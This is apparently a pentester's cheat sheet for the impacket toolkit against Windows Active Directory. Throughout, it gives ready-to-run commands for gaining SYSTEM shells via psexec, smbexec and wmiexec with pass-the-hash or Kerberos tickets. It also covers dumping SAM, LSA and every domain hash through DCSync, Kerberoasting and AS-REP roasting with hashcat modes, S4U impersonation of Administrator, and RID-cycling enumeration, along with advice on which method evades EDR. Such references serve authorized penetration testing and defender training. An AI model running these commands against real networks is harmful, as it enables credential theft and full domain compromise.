# impacket — remote exec & credential looting over SMB/Kerberos The native AD attack kit: RCE, secret dumping, roasting, and Kerberos ticket abuse against Windows hosts. Sweep the box first with `cheat nxc`, crack the loot with `hc-rock` / `hc-show`. `t ` sets `$TARGET`. ## The one grammar (auth string) Every tool shares the same connection string — learn it once. The `impacket-*` functions are thin wrappers; the raw `.py` names are on `$PATH` too. ``` impacket-TOOL [DOMAIN/]user[:password]@target [flags] ^domain optional ^omit :pass to be prompted ^host or IP ``` - **password inline** — `impacket-psexec CORP/jdoe:'P@ss!'@10.10.10.5` — quote shells specials; drop `:pass` and it asks. - **`-hashes LM:NT`** — pass-the-hash; use **`-hashes :NT`** when you only hold the NT half (see `pth`). - **`-k -no-pass`** — Kerberos: reads the TGT from `$KRB5CCNAME`; add **`-dc-ip`** / **`-target-ip`** when DNS is broken (see `ptt`). - **`-no-pass`** alone — null/anonymous session, or when a ticket/AS-REP already carries the auth. ## Get a shell — psexec / smbexec / wmiexec All three need **local admin on the target + SMB(445)**; pick by how loud you can be. - **`impacket-wmiexec`** — runs each command via WMI `Win32_Process`, output over the admin share. No service, no binary dropped — **quietest, your default**. Semi-interactive (not a true TTY). Needs DCOM(135). - **`impacket-smbexec`** — creates a service that pipes `cmd` per command over SMB. No binary uploaded, but a service is made/torn-down each call. Middle ground. - **`impacket-psexec`** — uploads a service EXE and runs it as **SYSTEM**; fullest interactive shell but drops a binary **and** creates a service — screams in EDR. (loud) ``` impacket-wmiexec CORP/admin:'Pw'@10.10.10.5 impacket-psexec -hashes :aad3b...31d6 Administrator@10.10.10.5 # PtH → SYSTEM impacket-wmiexec -k -no-pass DC01.corp.local # pass-the-ticket ``` ## Loot creds — secretsdump - **`impacket-secrets DOMAIN/user:pass@target`** — remote SAM (local hashes) + LSA secrets + cached domain logons over SMB. - **`-just-dc`** — **DCSync**: replicate the entire NTDS.dit (every domain hash) via DRSUAPI. Needs replication rights / DA. (gold, loud on a DC) - **`-just-dc-user Administrator`** — DCSync a single account (wrapper: `dcsync [target-user]`). - **`-sam SAM -security SECURITY -system SYSTEM LOCAL`** — offline from dumped registry hives · **`-ntds ntds.dit -system SYSTEM LOCAL`** — offline from a stolen NTDS.dit. - Honours **`-hashes :NT`** and **`-k`**, so PtH and PtT work here too. ## Roast — getnp / getspn - **`impacket-getnp`** (GetNPUsers.py) — **AS-REP roast** accounts with pre-auth disabled: `DOMAIN/ -usersfile users.txt -no-pass -format hashcat` → crack **`-m 18200`**. Wrapper `asrep [dc] [userlist]` writes `asrep.txt`. - **`impacket-getspn`** (GetUserSPNs.py) — **Kerberoast**: request a TGS for every SPN account: `DOMAIN/user:pass -dc-ip X -request` → crack **`-m 13100`**. Add **`-request-user svc`** for one. Wrapper `kerberoast [dc]` writes `kerberoast.txt`. ## Kerberos tickets — gettgt / getst - **`impacket-gettgt`** (getTGT.py) — request a TGT → `user.ccache`. **Overpass-the-hash** with `-hashes :NT` or `-aesKey`. Then `export KRB5CCNAME=user.ccache` and go `-k -no-pass` everywhere. - **`impacket-getst`** (getST.py) — request a service ticket. **S4U** delegation abuse: `-spn cifs/dc01 -impersonate Administrator` from a constrained-delegation account impersonates anyone. (gold) ## Enumerate — lookupsid - **`impacket-lookup`** (lookupsid.py) — **RID-cycle** the domain to dump users/groups/computers from the base SID: `DOMAIN/user:pass@dc`, or **`-no-pass`** for a null session. The move when LDAP is locked but SMB still answers. ## Shared flags | flag | meaning | |---|---| | `-hashes LM:NT` | pass-the-hash (`:NT` if no LM half) | | `-k` | Kerberos auth from the `$KRB5CCNAME` ccache | | `-no-pass` | never prompt — null session, PtT, or AS-REP | | `-dc-ip IP` | which domain controller to talk to | | `-target-ip IP` | host IP when the name won't resolve | | `-aesKey HEX` | Kerberos AES key (overpass-the-hash) | | `-just-dc` / `-just-dc-user U` | secretsdump: DCSync all / one account | | `-request` / `-request-user U` | getspn: pull TGS-REP hashes | | `-outputfile F` | write hashes to a file (roasters) | > The `impacket-*` wrappers just pass args straight through — they do **not** > auto-fill `$TARGET`; the higher-level `asrep` / `kerberoast` / `dcsync` do. > Reach for `wmiexec` over `psexec` unless you specifically need a SYSTEM TTY.